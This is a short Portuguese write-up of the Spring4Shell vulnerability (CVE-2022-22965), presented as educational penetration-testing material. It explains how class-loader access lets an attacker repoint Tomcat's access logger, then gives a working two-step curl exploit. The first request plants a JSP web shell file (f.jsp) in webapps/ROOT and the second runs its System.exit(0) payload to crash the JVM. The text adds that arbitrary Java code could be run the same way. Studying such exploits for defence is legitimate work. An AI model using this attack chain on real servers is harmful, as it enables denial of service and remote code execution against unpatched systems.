
Demonstração mínima de exploit Spring4Shell (CVE-2022-22965) visando Tomcat via manipulação de class-loader, com cadeia de ataque passo a passo baseada em curl para teste de penetração educacional.
No momento em que este texto foi escrito, a vinculação de parâmetros de requisição do spring-web (WebDataBinder), por padrão, permite acessar o método getClass() do objeto.
Este é um detalhe de implementação interno específico da jvm (na minha opinião, não deveria ser exposto).
Como tal, seus recursos podem mudar e ser ampliados com futuras versões da jvm.
Isso se torna um fardo contínuo para os mantenedores, que tentam prever maneiras criativas pelas quais atores mal-intencionados
possam aproveitar esse acesso poderoso de formas nefastas.
Neste CVE específico, o motivo foi um método Class::getModule() introduzido no Java 9. Ele abriu acesso sem proteção
a um class-loader.
No exemplo abaixo, o atacante o utiliza para reconfigurar o logger de acesso do Tomcat. Normalmente, ele escreve informações curtas sobre
cada requisição recebida pelo servidor em um arquivo de log. A propriedade pattern define quais informações são gravadas,
directory define onde o arquivo de log deve ser colocado, prefix, fileDateFormat e definem como deve ser o nome do arquivo.
suffixA requisição a seguir terá como alvo um endpoint POST da nossa aplicação vulnerável poc-0. Ela reconfigura o logger para gravar
uma linha <%{e}iSystem.exit(0);%{e}i> para cada requisição tratada, em um arquivo f.jsp no diretório webapps/ROOT,
onde %{e}i é um espaço reservado para o valor do cabeçalho e da requisição.
Este é um uso inesperado/criativo do logger, e o restante é um servidor de aplicação padrão JSP e Tomcat em ação.
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/
Após um momento, um arquivo f.jsp será criado, detectado pelo Tomcat, compilado e exposto para atender o tráfego.
A requisição a seguir o invoca, o que executará um código System.exit(0); embutido e interromperá a jvm em que está sendo executado.
curl -v http://container-ip:8080/f.jsp
Este é um exemplo de DoS, mas o System.exit(0); é um código Java normal, então o atacante pode fazer muito mais.